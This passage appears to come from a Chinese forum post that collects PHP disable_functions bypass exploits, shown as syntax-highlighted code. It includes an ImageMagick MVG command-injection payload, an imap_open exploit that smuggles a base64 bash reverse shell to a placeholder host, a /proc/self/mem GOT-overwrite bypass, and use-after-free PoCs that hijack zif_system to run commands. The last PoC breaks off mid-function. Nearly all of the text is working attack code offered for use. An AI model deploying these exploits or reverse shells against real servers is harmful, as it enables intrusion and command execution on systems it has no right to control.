- <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + <font color="#d19a66">0x10</font>); <font color="#5c6370"><i># zval</i></font>
- <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, $fake_tbl_off + <font color="#d19a66">8</font>, <font color="#d19a66">10</font>); <font color="#5c6370"><i># zval type (reference)</i></font>
- <font color="#5c6370"><i># look for binary base</i></font>
- $binary_leak = <font color="#c678dd">$this</font>->leak2($handlers + <font color="#d19a66">0x10</font>);
- <font color="#c678dd">if</font>(!($base = <font color="#c678dd">$this</font>->get_binary_base($binary_leak))) {
- <font color="#c678dd">die</font>(<font color="#98c379">"Couldn't determine binary base address"</font>);
- }
- <font color="#5c6370"><i># parse elf header</i></font>
- <font color="#c678dd">if</font>(!($elf = <font color="#c678dd">$this</font>->parse_elf($base))) {
- <font color="#c678dd">die</font>(<font color="#98c379">"Couldn't parse ELF"</font>);
- }
- <font color="#5c6370"><i># get basic_functions address</i></font>
- <font color="#c678dd">if</font>(!($basic_funcs = <font color="#c678dd">$this</font>->get_basic_funcs($base, $elf))) {
- <font color="#c678dd">die</font>(<font color="#98c379">"Couldn't get basic_functions address"</font>);
- }
- <font color="#5c6370"><i># find system entry</i></font>
- <font color="#c678dd">if</font>(!($zif_system = <font color="#c678dd">$this</font>->get_system($basic_funcs))) {
- <font color="#c678dd">die</font>(<font color="#98c379">"Couldn't get zif_system address"</font>);
- }
-
- <font color="#5c6370"><i># copy hashtable offsetGet bucket</i></font>
- $fake_bkt_off = <font color="#d19a66">0x70</font> * <font color="#d19a66">5</font> - <font color="#d19a66">16</font>;
- $function_data = <font color="#c678dd">$this</font>->str2ptr(<font color="#c678dd">$this</font>->abc, <font color="#d19a66">0x50</font>);
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < <font color="#d19a66">4</font>; $i++) {
- <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, $fake_bkt_off + $i * <font color="#d19a66">8</font>,
- <font color="#c678dd">$this</font>->leak2($function_data + <font color="#d19a66">0x40</font> * <font color="#d19a66">4</font>, $i * <font color="#d19a66">8</font>));
- }
- <font color="#5c6370"><i># create a fake bucket</i></font>
- $fake_bkt_addr = $abc_addr + $fake_bkt_off;
- <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, <font color="#d19a66">0x50</font>, $fake_bkt_addr);
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < <font color="#d19a66">3</font>; $i++) {
- <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, <font color="#d19a66">0x58</font> + $i * <font color="#d19a66">4</font>, <font color="#d19a66">1</font>, <font color="#d19a66">4</font>);
- }
- <font color="#5c6370"><i># copy bucket zval</i></font>
- $function_zval = <font color="#c678dd">$this</font>->str2ptr(<font color="#c678dd">$this</font>->abc, $fake_bkt_off);
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < <font color="#d19a66">12</font>; $i++) {
- <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, $fake_bkt_off + <font color="#d19a66">0x70</font> + $i * <font color="#d19a66">8</font>,
- <font color="#c678dd">$this</font>->leak2($function_zval, $i * <font color="#d19a66">8</font>));
- }
- <font color="#5c6370"><i># pwn</i></font>
- <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, $fake_bkt_off + <font color="#d19a66">0x70</font> + <font color="#d19a66">0x30</font>, $zif_system);
- <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, $fake_bkt_off, $fake_bkt_addr + <font color="#d19a66">0x70</font>);
- $spl1->offsetGet($cmd);
- <font color="#c678dd">exit</font>();
- }
- }
- $y = [<font color="#c678dd">new</font> Z()];
- json_encode([&$y]);
复制代码
ImageMagick- <font color="#61aeee"><?php</font>
- <font color="#c678dd">echo</font> <font color="#98c379">"Disable Functions: "</font> . ini_get(<font color="#98c379">'disable_functions'</font>) . <font color="#98c379">"n"</font>;
- function AAAA(){
- $command = <font color="#98c379">'curl 127.0.0.1:7777'</font>;
- $exploit = <font color="#98c379"><<<EOF
- push graphic-context
- viewbox 0 0 640 480
- fill 'url(<img src="https://example.com/image.jpg" alt="" style="max-width:400px" border="0">"|$command")'
- pop graphic-context
- EOF;</font>
- file_put_contents(<font color="#98c379">"KKKK.mvg"</font>, $exploit);
- $thumb = <font color="#c678dd">new</font> Imagick();
- $thumb->readImage(<font color="#98c379">'KKKK.mvg'</font>);
- $thumb->writeImage(<font color="#98c379">'KKKK.png'</font>);
- $thumb->clear();
- $thumb->destroy();
- unlink(<font color="#98c379">"KKKK.mvg"</font>);
- unlink(<font color="#98c379">"KKKK.png"</font>);
- }
- AAAA();
- <font color="#61aeee">?></font>
复制代码
imap_open RCE漏洞
- <font color="#61aeee"><?php</font>
- $payload = <font color="#98c379">"/bin/bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1"</font>;
- $base64 = base64_encode($payload);
- $server = <font color="#98c379">"any -oProxyCommand=echot{$base64}|base64t-d|bash"</font>;
- @imap_open(<font color="#98c379">"{"</font>.$server.<font color="#98c379">"}:143/imap}INBOX"</font>,<font color="#98c379">""</font>,<font color="#98c379">""</font>);
复制代码
0000000000e94998 R_X86_64_JUMP_SLOT open
$system_offset and $open_offset:
beched@linuxoid ~ $ readelf -s /lib/x86_64-linux-gnu/libc-2.19.so | egrep "\s(system|open)@@"
1337: 0000000000046530 45 FUNC WEAK DEFAULT 12 system@@GLIBC_2.2.5
1679: 00000000000ec150 90 FUNC WEAK DEFAULT 12 open@@GLIBC_2.2.5
*/</i></font>
function packlli($value) {
$higher = ($value & <font color="#d19a66">0xffffffff00000000</font>) >> <font color="#d19a66">32</font>;
$lower = $value & <font color="#d19a66">0x00000000ffffffff</font>;
<font color="#c678dd">return</font> pack(<font color="#98c379">'V2'</font>, $lower, $higher);
}
function unp($value) {
<font color="#c678dd">return</font> hexdec(bin2hex(strrev($value)));
}
function parseelf($bin_ver, $rela = false) {
$bin = file_get_contents($bin_ver);
$e_shoff = unp(substr($bin, <font color="#d19a66">0x28</font>, <font color="#d19a66">8</font>));
$e_shentsize = unp(substr($bin, <font color="#d19a66">0x3a</font>, <font color="#d19a66">2</font>));
$e_shnum = unp(substr($bin, <font color="#d19a66">0x3c</font>, <font color="#d19a66">2</font>));
$e_shstrndx = unp(substr($bin, <font color="#d19a66">0x3e</font>, <font color="#d19a66">2</font>));
<font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < $e_shnum; $i += <font color="#d19a66">1</font>) {
$sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + <font color="#d19a66">4</font>, <font color="#d19a66">4</font>));
<font color="#c678dd">if</font>($sh_type == <font color="#d19a66">11</font>) { <font color="#5c6370"><i>// SHT_DYNSYM</i></font>
$dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + <font color="#d19a66">24</font>, <font color="#d19a66">8</font>));
$dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + <font color="#d19a66">32</font>, <font color="#d19a66">8</font>));
$dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + <font color="#d19a66">56</font>, <font color="#d19a66">8</font>));
}
<font color="#c678dd">elseif</font>(!<font color="#c678dd">isset</font>($strtab_off) && $sh_type == <font color="#d19a66">3</font>) { <font color="#5c6370"><i>// SHT_STRTAB</i></font>
$strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + <font color="#d19a66">24</font>, <font color="#d19a66">8</font>));
$strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + <font color="#d19a66">32</font>, <font color="#d19a66">8</font>));
}
<font color="#c678dd">elseif</font>($rela && $sh_type == <font color="#d19a66">4</font>) { <font color="#5c6370"><i>// SHT_RELA</i></font>
$relaplt_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + <font color="#d19a66">24</font>, <font color="#d19a66">8</font>));
$relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + <font color="#d19a66">32</font>, <font color="#d19a66">8</font>));
$relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + <font color="#d19a66">56</font>, <font color="#d19a66">8</font>));
}
}
<font color="#c678dd">if</font>($rela) {
<font color="#c678dd">for</font>($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) {
$r_offset = unp(substr($bin, $i, <font color="#d19a66">8</font>));
$r_info = unp(substr($bin, $i + <font color="#d19a66">8</font>, <font color="#d19a66">8</font>)) >> <font color="#d19a66">32</font>;
$name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, <font color="#d19a66">4</font>));
$name = <font color="#98c379">''</font>;
$j = $strtab_off + $name_off - <font color="#d19a66">1</font>;
<font color="#c678dd">while</font>($bin[++$j] != <font color="#98c379">"\0"</font>) {
$name .= $bin[$j];
}
<font color="#c678dd">if</font>($name == <font color="#98c379">'open'</font>) {
<font color="#c678dd">return</font> $r_offset;
}
}
}
<font color="#c678dd">else</font> {
<font color="#c678dd">for</font>($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) {
$name_off = unp(substr($bin, $i, <font color="#d19a66">4</font>));
$name = <font color="#98c379">''</font>;
$j = $strtab_off + $name_off - <font color="#d19a66">1</font>;
<font color="#c678dd">while</font>($bin[++$j] != <font color="#98c379">"\0"</font>) {
$name .= $bin[$j];
}
<font color="#c678dd">if</font>($name == <font color="#98c379">'__libc_system'</font>) {
$system_offset = unp(substr($bin, $i + <font color="#d19a66">8</font>, <font color="#d19a66">8</font>));
}
<font color="#c678dd">if</font>($name == <font color="#98c379">'__open'</font>) {
$open_offset = unp(substr($bin, $i + <font color="#d19a66">8</font>, <font color="#d19a66">8</font>));
}
}
<font color="#c678dd">return</font> <font color="#c678dd">array</font>($system_offset, $open_offset);
}
}
<font color="#c678dd">echo</font> <font color="#98c379">"</font><li><font color="#98c379"> PHP disable_functions procfs bypass (coded by Beched, RDot.Org)\n"</font>;
<font color="#c678dd">if</font>(strpos(php_uname(<font color="#98c379">'a'</font>), <font color="#98c379">'x86_64'</font>) === <font color="#c678dd">false</font>) {
<font color="#c678dd">echo</font> <font color="#98c379">"[-] This exploit is for x64 Linux. Exiting\n"</font>;
<font color="#c678dd">exit</font>;
}
<font color="#c678dd">if</font>(substr(php_uname(<font color="#98c379">'r'</font>), <font color="#d19a66">0</font>, <font color="#d19a66">4</font>) < <font color="#d19a66">2.98</font>) {
<font color="#c678dd">echo</font> <font color="#98c379">"[-] Too old kernel (< 2.98). Might not work\n"</font>;
}
<font color="#c678dd">echo</font> <font color="#98c379">"</font></li><li><font color="#98c379"> Trying to get open@plt offset in PHP binary\n"</font>;
$open_php = parseelf(<font color="#98c379">'/proc/self/exe'</font>, <font color="#c678dd">true</font>);
<font color="#c678dd">if</font>($open_php == <font color="#d19a66">0</font>) {
<font color="#c678dd">echo</font> <font color="#98c379">"[-] Failed. Exiting\n"</font>;
<font color="#c678dd">exit</font>;
}
<font color="#c678dd">echo</font> <font color="#98c379">'[+] Offset is 0x'</font> . dechex($open_php) . <font color="#98c379">"\n"</font>;
$maps = file_get_contents(<font color="#98c379">'/proc/self/maps'</font>);
preg_match(<font color="#98c379">'#\s+(/.+libc\-.+)#'</font>, $maps, $r);
<font color="#c678dd">echo</font> <font color="#98c379">"</font></li><li><font color="#98c379"> Libc location: $r[1]\n"</font>;
$pie_base = hexdec(explode(<font color="#98c379">'-'</font>, $maps)[<font color="#d19a66">0</font>]);
<font color="#c678dd">echo</font> <font color="#98c379">'</font></li><li><font color="#98c379"> PIE base: 0x'</font> . dechex($pie_base) . <font color="#98c379">"\n"</font>;
<font color="#c678dd">echo</font> <font color="#98c379">"</font></li><li><font color="#98c379"> Trying to get open and system symbols from Libc\n"</font>;
<font color="#c678dd">list</font>($system_offset, $open_offset) = parseelf($r[<font color="#d19a66">1</font>]);
<font color="#c678dd">if</font>($system_offset == <font color="#d19a66">0</font> <font color="#c678dd">or</font> $open_offset == <font color="#d19a66">0</font>) {
<font color="#c678dd">echo</font> <font color="#98c379">"[-] Failed. Exiting\n"</font>;
<font color="#c678dd">exit</font>;
}
<font color="#c678dd">echo</font> <font color="#98c379">"[+] Got them. Seeking for address in memory\n"</font>;
$mem = fopen(<font color="#98c379">'/proc/self/mem'</font>, <font color="#98c379">'rb'</font>);
fseek($mem, $pie_base + $open_php);
$open_addr = unp(fread($mem, <font color="#d19a66">8</font>));
<font color="#c678dd">echo</font> <font color="#98c379">'</font></li><li><font color="#98c379"> open@plt addr: 0x'</font> . dechex($open_addr) . <font color="#98c379">"\n"</font>;
$libc_start = $open_addr - $open_offset;
$system_addr = $libc_start + $system_offset;
<font color="#c678dd">echo</font> <font color="#98c379">'</font></li><li><font color="#98c379"> system@plt addr: 0x'</font> . dechex($system_addr) . <font color="#98c379">"\n"</font>;
<font color="#c678dd">echo</font> <font color="#98c379">"</font></li><li><font color="#98c379"> Rewriting open@plt address\n"</font>;
$mem = fopen(<font color="#98c379">'/proc/self/mem'</font>, <font color="#98c379">'wb'</font>);
fseek($mem, $pie_base + $open_php);
<font color="#c678dd">if</font>(fwrite($mem, packlli($system_addr))) {
<font color="#c678dd">echo</font> <font color="#98c379">"[+] Address written. Executing cmd\n"</font>;
readfile(<font color="#98c379">'/usr/bin/id'</font>);
<font color="#c678dd">exit</font>;
}
<font color="#c678dd">echo</font> <font color="#98c379">"[-] Write failed. Exiting\n"</font>;</li></i></i></i></i>[/code]
backtrace
- <font color="#61aeee"><?php</font>
- <font color="#5c6370"><i># PHP 7.0-7.4 disable_functions bypass PoC (*nix only)</i></font>
- <font color="#5c6370"><i>#</i></font>
- <font color="#5c6370"><i># Bug: <a href="https://bugs.php.net/bug.php?id=76047" target="_blank">https://bugs.php.net/bug.php?id=76047</a></i></font>
- <font color="#5c6370"><i># debug_backtrace() returns a reference to a variable </i></font>
- <font color="#5c6370"><i># that has been destroyed, causing a UAF vulnerability.</i></font>
- <font color="#5c6370"><i>#</i></font>
- <font color="#5c6370"><i># This exploit should work on all PHP 7.0-7.4 versions</i></font>
- <font color="#5c6370"><i># released as of 30/01/2020.</i></font>
- <font color="#5c6370"><i>#</i></font>
- <font color="#5c6370"><i># Author: <a href="https://github.com/mm0r1" target="_blank">https://github.com/mm0r1</a></i></font>
- pwn(<font color="#98c379">"uname -a"</font>);
- function pwn($cmd) {
- <font color="#c678dd">global</font> $abc, $helper, $backtrace;
- class Vuln {
- <font color="#c678dd">public</font> $a;
- <font color="#c678dd">public</font> function __destruct() {
- <font color="#c678dd">global</font> $backtrace;
- <font color="#c678dd">unset</font>(<font color="#c678dd">$this</font>->a);
- $backtrace = (<font color="#c678dd">new</font> <font color="#c678dd">Exception</font>)->getTrace(); <font color="#5c6370"><i># ;)</i></font>
- <font color="#c678dd">if</font>(!<font color="#c678dd">isset</font>($backtrace[<font color="#d19a66">1</font>][<font color="#98c379">'args'</font>])) { <font color="#5c6370"><i># PHP >= 7.4</i></font>
- $backtrace = debug_backtrace();
- }
- }
- }
- class Helper {
- <font color="#c678dd">public</font> $a, $b, $c, $d;
- }
- function str2ptr(&$str, $p = 0, $s = 8) {
- $address = <font color="#d19a66">0</font>;
- <font color="#c678dd">for</font>($j = $s<font color="#d19a66">-1</font>; $j >= <font color="#d19a66">0</font>; $j--) {
- $address <<= <font color="#d19a66">8</font>;
- $address |= ord($str[$p+$j]);
- }
- <font color="#c678dd">return</font> $address;
- }
- function ptr2str($ptr, $m = 8) {
- $out = <font color="#98c379">""</font>;
- <font color="#c678dd">for</font> ($i=<font color="#d19a66">0</font>; $i < $m; $i++) {
- $out .= chr($ptr & <font color="#d19a66">0xff</font>);
- $ptr >>= <font color="#d19a66">8</font>;
- }
- <font color="#c678dd">return</font> $out;
- }
- function write(&$str, $p, $v, $n = 8) {
- $i = <font color="#d19a66">0</font>;
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < $n; $i++) {
- $str[$p + $i] = chr($v & <font color="#d19a66">0xff</font>);
- $v >>= <font color="#d19a66">8</font>;
- }
- }
- function leak($addr, $p = 0, $s = 8) {
- <font color="#c678dd">global</font> $abc, $helper;
- write($abc, <font color="#d19a66">0x68</font>, $addr + $p - <font color="#d19a66">0x10</font>);
- $leak = strlen($helper->a);
- <font color="#c678dd">if</font>($s != <font color="#d19a66">8</font>) { $leak %= <font color="#d19a66">2</font> << ($s * <font color="#d19a66">8</font>) - <font color="#d19a66">1</font>; }
- <font color="#c678dd">return</font> $leak;
- }
- function parse_elf($base) {
- $e_type = leak($base, <font color="#d19a66">0x10</font>, <font color="#d19a66">2</font>);
- $e_phoff = leak($base, <font color="#d19a66">0x20</font>);
- $e_phentsize = leak($base, <font color="#d19a66">0x36</font>, <font color="#d19a66">2</font>);
- $e_phnum = leak($base, <font color="#d19a66">0x38</font>, <font color="#d19a66">2</font>);
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < $e_phnum; $i++) {
- $header = $base + $e_phoff + $i * $e_phentsize;
- $p_type = leak($header, <font color="#d19a66">0</font>, <font color="#d19a66">4</font>);
- $p_flags = leak($header, <font color="#d19a66">4</font>, <font color="#d19a66">4</font>);
- $p_vaddr = leak($header, <font color="#d19a66">0x10</font>);
- $p_memsz = leak($header, <font color="#d19a66">0x28</font>);
- <font color="#c678dd">if</font>($p_type == <font color="#d19a66">1</font> && $p_flags == <font color="#d19a66">6</font>) { <font color="#5c6370"><i># PT_LOAD, PF_Read_Write</i></font>
- <font color="#5c6370"><i># handle pie</i></font>
- $data_addr = $e_type == <font color="#d19a66">2</font> ? $p_vaddr : $base + $p_vaddr;
- $data_size = $p_memsz;
- } <font color="#c678dd">else</font> <font color="#c678dd">if</font>($p_type == <font color="#d19a66">1</font> && $p_flags == <font color="#d19a66">5</font>) { <font color="#5c6370"><i># PT_LOAD, PF_Read_exec</i></font>
- $text_size = $p_memsz;
- }
- }
- <font color="#c678dd">if</font>(!$data_addr || !$text_size || !$data_size)
- <font color="#c678dd">return</font> <font color="#c678dd">false</font>;
- <font color="#c678dd">return</font> [$data_addr, $text_size, $data_size];
- }
- function get_basic_funcs($base, $elf) {
- <font color="#c678dd">list</font>($data_addr, $text_size, $data_size) = $elf;
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < $data_size / <font color="#d19a66">8</font>; $i++) {
- $leak = leak($data_addr, $i * <font color="#d19a66">8</font>);
- <font color="#c678dd">if</font>($leak - $base > <font color="#d19a66">0</font> && $leak - $base < $data_addr - $base) {
- $deref = leak($leak);
- <font color="#5c6370"><i># 'constant' constant check</i></font>
- <font color="#c678dd">if</font>($deref != <font color="#d19a66">0x746e6174736e6f63</font>)
- <font color="#c678dd">continue</font>;
- } <font color="#c678dd">else</font> <font color="#c678dd">continue</font>;
- $leak = leak($data_addr, ($i + <font color="#d19a66">4</font>) * <font color="#d19a66">8</font>);
- <font color="#c678dd">if</font>($leak - $base > <font color="#d19a66">0</font> && $leak - $base < $data_addr - $base) {
- $deref = leak($leak);
- <font color="#5c6370"><i># 'bin2hex' constant check</i></font>
- <font color="#c678dd">if</font>($deref != <font color="#d19a66">0x786568326e6962</font>)
- <font color="#c678dd">continue</font>;
- } <font color="#c678dd">else</font> <font color="#c678dd">continue</font>;
- <font color="#c678dd">return</font> $data_addr + $i * <font color="#d19a66">8</font>;
- }
- }
- function get_binary_base($binary_leak) {
- $base = <font color="#d19a66">0</font>;
- $start = $binary_leak & <font color="#d19a66">0xfffffffffffff000</font>;
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < <font color="#d19a66">0x1000</font>; $i++) {
- $addr = $start - <font color="#d19a66">0x1000</font> * $i;
- $leak = leak($addr, <font color="#d19a66">0</font>, <font color="#d19a66">7</font>);
- <font color="#c678dd">if</font>($leak == <font color="#d19a66">0x10102464c457f</font>) { <font color="#5c6370"><i># ELF header</i></font>
- <font color="#c678dd">return</font> $addr;
- }
- }
- }
- function get_system($basic_funcs) {
- $addr = $basic_funcs;
- <font color="#c678dd">do</font> {
- $f_entry = leak($addr);
- $f_name = leak($f_entry, <font color="#d19a66">0</font>, <font color="#d19a66">6</font>);
- <font color="#c678dd">if</font>($f_name == <font color="#d19a66">0x6d6574737973</font>) { <font color="#5c6370"><i># system</i></font>
- <font color="#c678dd">return</font> leak($addr + <font color="#d19a66">8</font>);
- }
- $addr += <font color="#d19a66">0x20</font>;
- } <font color="#c678dd">while</font>($f_entry != <font color="#d19a66">0</font>);
- <font color="#c678dd">return</font> <font color="#c678dd">false</font>;
- }
- function trigger_uaf($arg) {
- <font color="#5c6370"><i># str_shuffle prevents opcache string interning</i></font>
- $arg = str_shuffle(str_repeat(<font color="#98c379">'A'</font>, <font color="#d19a66">79</font>));
- $vuln = <font color="#c678dd">new</font> Vuln();
- $vuln->a = $arg;
- }
- <font color="#c678dd">if</font>(stristr(PHP_OS, <font color="#98c379">'WIN'</font>)) {
- <font color="#c678dd">die</font>(<font color="#98c379">'This PoC is for *nix systems only.'</font>);
- }
- $n_alloc = <font color="#d19a66">10</font>; <font color="#5c6370"><i># increase this value if UAF fails</i></font>
- $contiguous = [];
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < $n_alloc; $i++)
- $contiguous[] = str_shuffle(str_repeat(<font color="#98c379">'A'</font>, <font color="#d19a66">79</font>));
- trigger_uaf(<font color="#98c379">'x'</font>);
- $abc = $backtrace[<font color="#d19a66">1</font>][<font color="#98c379">'args'</font>][<font color="#d19a66">0</font>];
- $helper = <font color="#c678dd">new</font> Helper;
- $helper->b = function ($x) { };
- <font color="#c678dd">if</font>(strlen($abc) == <font color="#d19a66">79</font> || strlen($abc) == <font color="#d19a66">0</font>) {
- <font color="#c678dd">die</font>(<font color="#98c379">"UAF failed"</font>);
- }
- <font color="#5c6370"><i># leaks</i></font>
- $closure_handlers = str2ptr($abc, <font color="#d19a66">0</font>);
- $php_heap = str2ptr($abc, <font color="#d19a66">0x58</font>);
- $abc_addr = $php_heap - <font color="#d19a66">0xc8</font>;
- <font color="#5c6370"><i># fake value</i></font>
- write($abc, <font color="#d19a66">0x60</font>, <font color="#d19a66">2</font>);
- write($abc, <font color="#d19a66">0x70</font>, <font color="#d19a66">6</font>);
- <font color="#5c6370"><i># fake reference</i></font>
- write($abc, <font color="#d19a66">0x10</font>, $abc_addr + <font color="#d19a66">0x60</font>);
- write($abc, <font color="#d19a66">0x18</font>, <font color="#d19a66">0xa</font>);
- $closure_obj = str2ptr($abc, <font color="#d19a66">0x20</font>);
- $binary_leak = leak($closure_handlers, <font color="#d19a66">8</font>);
- <font color="#c678dd">if</font>(!($base = get_binary_base($binary_leak))) {
- <font color="#c678dd">die</font>(<font color="#98c379">"Couldn't determine binary base address"</font>);
- }
- <font color="#c678dd">if</font>(!($elf = parse_elf($base))) {
- <font color="#c678dd">die</font>(<font color="#98c379">"Couldn't parse ELF header"</font>);
- }
- <font color="#c678dd">if</font>(!($basic_funcs = get_basic_funcs($base, $elf))) {
- <font color="#c678dd">die</font>(<font color="#98c379">"Couldn't get basic_functions address"</font>);
- }
- <font color="#c678dd">if</font>(!($zif_system = get_system($basic_funcs))) {
- <font color="#c678dd">die</font>(<font color="#98c379">"Couldn't get zif_system address"</font>);
- }
- <font color="#5c6370"><i># fake closure object</i></font>
- $fake_obj_offset = <font color="#d19a66">0xd0</font>;
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < <font color="#d19a66">0x110</font>; $i += <font color="#d19a66">8</font>) {
- write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
- }
- <font color="#5c6370"><i># pwn</i></font>
- write($abc, <font color="#d19a66">0x20</font>, $abc_addr + $fake_obj_offset);
- write($abc, <font color="#d19a66">0xd0</font> + <font color="#d19a66">0x38</font>, <font color="#d19a66">1</font>, <font color="#d19a66">4</font>); <font color="#5c6370"><i># internal func type</i></font>
- write($abc, <font color="#d19a66">0xd0</font> + <font color="#d19a66">0x68</font>, $zif_system); <font color="#5c6370"><i># internal func handler</i></font>
- ($helper->b)($cmd);
- <font color="#c678dd">exit</font>();
- }
复制代码
gc
- <font color="#61aeee"><?php</font>
- <font color="#5c6370"><i># PHP 7.0-7.3 disable_functions bypass PoC (*nix only)</i></font>
- <font color="#5c6370"><i>#</i></font>
- <font color="#5c6370"><i># Bug: <a href="https://bugs.php.net/bug.php?id=72530" target="_blank">https://bugs.php.net/bug.php?id=72530</a></i></font>
- <font color="#5c6370"><i>#</i></font>
- <font color="#5c6370"><i># This exploit should work on all PHP 7.0-7.3 versions</i></font>
- <font color="#5c6370"><i>#</i></font>
- <font color="#5c6370"><i># Author: <a href="https://github.com/mm0r1" target="_blank">https://github.com/mm0r1</a></i></font>
- pwn(<font color="#98c379">"uname -a"</font>);
- function pwn($cmd) {
- <font color="#c678dd">global</font> $abc, $helper;
- function str2ptr(&$str, $p = 0, $s = 8) {
- $address = <font color="#d19a66">0</font>;
- <font color="#c678dd">for</font>($j = $s<font color="#d19a66">-1</font>; $j >= <font color="#d19a66">0</font>; $j--) {
- $address <<= <font color="#d19a66">8</font>;
- $address |= ord($str[$p+$j]);
- }
- <font color="#c678dd">return</font> $address;
- }
- function ptr2str($ptr, $m = 8) {
- $out = <font color="#98c379">""</font>;
- <font color="#c678dd">for</font> ($i=<font color="#d19a66">0</font>; $i < $m; $i++) {
- $out .= chr($ptr & <font color="#d19a66">0xff</font>);
- $ptr >>= <font color="#d19a66">8</font>;
- }
- <font color="#c678dd">return</font> $out;
- }
- function write(&$str, $p, $v, $n = 8) {
- $i = <font color="#d19a66">0</font>;
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < $n; $i++) {
- $str[$p + $i] = chr($v & <font color="#d19a66">0xff</font>);
- $v >>= <font color="#d19a66">8</font>;
- }
- }
- function leak($addr, $p = 0, $s = 8) {
- <font color="#c678dd">global</font> $abc, $helper;
- write($abc, <font color="#d19a66">0x68</font>, $addr + $p - <font color="#d19a66">0x10</font>);
- $leak = strlen($helper->a);
- <font color="#c678dd">if</font>($s != <font color="#d19a66">8</font>) { $leak %= <font color="#d19a66">2</font> << ($s * <font color="#d19a66">8</font>) - <font color="#d19a66">1</font>; }
- <font color="#c678dd">return</font> $leak;
- }
- function parse_elf($base) {
- $e_type = leak($base, <font color="#d19a66">0x10</font>, <font color="#d19a66">2</font>);
- $e_phoff = leak($base, <font color="#d19a66">0x20</font>);
- $e_phentsize = leak($base, <font color="#d19a66">0x36</font>, <font color="#d19a66">2</font>);
- $e_phnum = leak($base, <font color="#d19a66">0x38</font>, <font color="#d19a66">2</font>);
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < $e_phnum; $i++) {
- $header = $base + $e_phoff + $i * $e_phentsize;
- $p_type = leak($header, <font color="#d19a66">0</font>, <font color="#d19a66">4</font>);
- $p_flags = leak($header, <font color="#d19a66">4</font>, <font color="#d19a66">4</font>);
- $p_vaddr = leak($header, <font color="#d19a66">0x10</font>);
- $p_memsz = leak($header, <font color="#d19a66">0x28</font>);
- <font color="#c678dd">if</font>($p_type == <font color="#d19a66">1</font> && $p_flags == <font color="#d19a66">6</font>) { <font color="#5c6370"><i># PT_LOAD, PF_Read_Write</i></font>
- <font color="#5c6370"><i># handle pie</i></font>
- $data_addr = $e_type == <font color="#d19a66">2</font> ? $p_vaddr : $base + $p_vaddr;
- $data_size = $p_memsz;
- } <font color="#c678dd">else</font> <font color="#c678dd">if</font>($p_type == <font color="#d19a66">1</font> && $p_flags == <font color="#d19a66">5</font>) { <font color="#5c6370"><i># PT_LOAD, PF_Read_exec</i></font>
- $text_size = $p_memsz;
- }
- }
- <font color="#c678dd">if</font>(!$data_addr || !$text_size || !$data_size)
- <font color="#c678dd">return</font> <font color="#c678dd">false</font>;
- <font color="#c678dd">return</font> [$data_addr, $text_size, $data_size];
- }
- function get_basic_funcs($base, $elf) {
- <font color="#c678dd">list</font>($data_addr, $text_size, $data_size) = $elf;
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < $data_size / <font color="#d19a66">8</font>; $i++) {
- $leak = leak($data_addr, $i * <font color="#d19a66">8</font>);
- <font color="#c678dd">if</font>($leak - $base > <font color="#d19a66">0</font> && $leak - $base < $data_addr - $base) {
- $deref = leak($leak);
- <font color="#5c6370"><i># 'constant' constant check</i></font>
- <font color="#c678dd">if</font>($deref != <font color="#d19a66">0x746e6174736e6f63</font>)
- <font color="#c678dd">continue</font>;
- } <font color="#c678dd">else</font> <font color="#c678dd">continue</font>;
- $leak = leak($data_addr, ($i + <font color="#d19a66">4</font>) * <font color="#d19a66">8</font>);
- <font color="#c678dd">if</font>($leak - $base > <font color="#d19a66">0</font> && $leak - $base < $data_addr - $base) {
- $deref = leak($leak);
- <font color="#5c6370"><i># 'bin2hex' constant check</i></font>
- <font color="#c678dd">if</font>($deref != <font color="#d19a66">0x786568326e6962</font>)
- <font color="#c678dd">continue</font>;
- } <font color="#c678dd">else</font> <font color="#c678dd">continue</font>;
- <font color="#c678dd">return</font> $data_addr + $i * <font color="#d19a66">8</font>;
- }
- }
- function get_binary_base($binary_leak) {
- $base = <font color="#d19a66">0</font>;
- $start = $binary_leak & <font color="#d19a66">0xfffffffffffff000</font>;
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < <font color="#d19a66">0x1000</font>; $i++) {
- $addr = $start - <font color="#d19a66">0x1000</font> * $i;
- $leak = leak($addr, <font color="#d19a66">0</font>, <font color="#d19a66">7</font>);
